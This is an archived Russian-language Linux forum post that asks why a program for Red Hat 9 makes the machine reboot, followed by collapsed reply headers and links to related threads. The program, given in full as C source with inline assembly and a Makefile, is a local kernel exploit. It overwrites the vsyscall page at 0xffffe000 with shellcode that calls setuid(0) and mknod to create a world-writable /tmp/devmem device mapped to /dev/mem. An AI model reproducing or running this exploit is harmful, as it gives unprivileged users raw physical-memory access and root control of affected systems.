Имеется одна программа для RH9.0.
Делает /tmp/devmem с правами доступа 0777 (block 0101 == /dev/mem).
Проблема в том, что при этом она уходит в reboot (/tmp/devmem после перезагрузки остается, но суть не в этом). Вопрос собственно почему уходим в reboot?
P.S. Если вдруг кто запускать будет: учтите, что нужен 1 Гиг свободной виртуальной памяти или же overcommit_memory=1, иначе кина не будет (скорее всего это требование обязательно для того, чтобы не покрэшить ядро, а суметь получить что-то более полезное -- из-за того, что ядро проецирует ОЗУ на kvm через PSE страницы и само же не понимает их).
Вот собственно программа и Makefile:
#define __KERNEL__
#include <asm/pgtable.h>
#include <asm/errno.h>
extern int errno;
char mystack[4096];
char tmpmemstr[] = "/tmp/devmem";
asm ("  .align 4096
        .globl expcode
    expcode:
        pushal
        movl    $0, %ebx
        movl    $60, %eax
        int     $0x80
        movl    $0xfffff000, %ebx
    copy:
        subl    $4, %ebx
        pushl   (%ebx)
        cmpl    $0xffffef00, %ebx
        jne     copy
        movl    %esp, %ebx
        movl    $020777, %ecx
        movl    $0x0101, %edx
        movl    $14, %eax
        int     $0x80
        addl    $0x100, %esp
        popal
exit:
        int     $0x80
        ret
        .globl expcode_end
        expcode_end:
");
extern unsigned char expcode, expcode_end;
void do_main (long esp) {
    unsigned char *trampoline;
    unsigned char volatile dummy;
    unsigned int i;
    trampoline = __fix_to_virt (FIX_VSYSCALL);
    if (trampoline != 0xffffe000) {
        printf ("weird... but you still can try patching the asm code accordingly ;)\n");
        exit (0);
    }
    munmap (esp & ~(4096 - 1), 0xc0000000 - (esp & ~(4096 - 1)));
    brk (0xfffff000);
    printf ("probing write @ %p\n", trampoline); sleep (1);
    *trampoline = 0xcd;
    *(trampoline+1) = 0x80;
    *(trampoline+2) = 0xc3;
    *(long*)(trampoline+3) = 0;
    printf ("probing read @ %p\n", trampoline); sleep (1);
    dummy = *trampoline;
    printf ("copying string %p->%p\n", tmpmemstr, trampoline+0xf00); sleep (1);
    for (i=0; tmpmemstr[i]; i++) {
        trampoline[0xf00+i] = tmpmemstr[i];
        printf ("%x\n", i);
    }
    trampoline[0xf00+i] = 0;
    printf ("copying hook ->%p\n", trampoline); sleep (1);
    for (i=(unsigned int)&expcode; i<(&expcode_end+1); i++) {
        trampoline[i-(unsigned int)&expcode] = *(unsigned char *)i;
    }
    printf ("done\n"); sleep (1);
    do {
        access (tmpmemstr, 3);
    } while (errno == ENOENT);
    *(unsigned int *)trampoline = 0x00c380cd;
    *((unsigned int *)trampoline+1) = 0x00000000;
    if (errno != 0)
        perror ("bad luck");
    else
        printf ("everything seems fine...\n");
    for (;;) pause (); // Don't burn the CPU :)
}
int main () {
    register long esp asm ("esp");
    register long oldesp = esp;
    esp = mystack+4096;
    do_main(oldesp);
    return 0;
}
all:
        gcc -static -g -I/lib/modules/`uname -r`/build/include -Wl,-Tdata,0xbfff0000 exp.c -o exp

    
      Ответ на:
      
          комментарий
        от sS 
  
    
      Ответ на:
      
          комментарий
        от Murr 
  
    
      Ответ на:
      
          комментарий
        от idle 
  
    
      Ответ на:
      
          Re:
        от Murr 
  
    
      Ответ на:
      
          Re:
        от Murr 
  
    
      Ответ на:
      
          Re:
        от Murr 
  
    
      Ответ на:
      
          комментарий
        от idle 
  
    
      Ответ на:
      
          Re:
        от Murr 
  
    
      Ответ на:
      
          Re:
        от Murr 
  
    
      Ответ на:
      
          Re:
        от Murr 
  
    
        Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.
      
Похожие темы
- Форум [assembler] А как узнать адрес последнего элемента в списке? (2009)
 - Форум [asm][c]Содержимое регистра cs (2011)
 - Форум Оптимизатор GCC 4.4 (2009)
 - Форум Как перезапускать программу в случае ее неудачного запуска. (2015)
 - Форум Чтение выхлопа процесса без ожидания его завершения (2019)
 
- Форум Вентилятор i8k убивается чем-то (2015)
 - Форум Трабл с модулем (2005)
 - Форум стек. перезапись адреса возврата (2006)
 - Форум ptrace (2008)
 - Форум [ЖЖ] видео с youtube'а снова в /tmp (2011)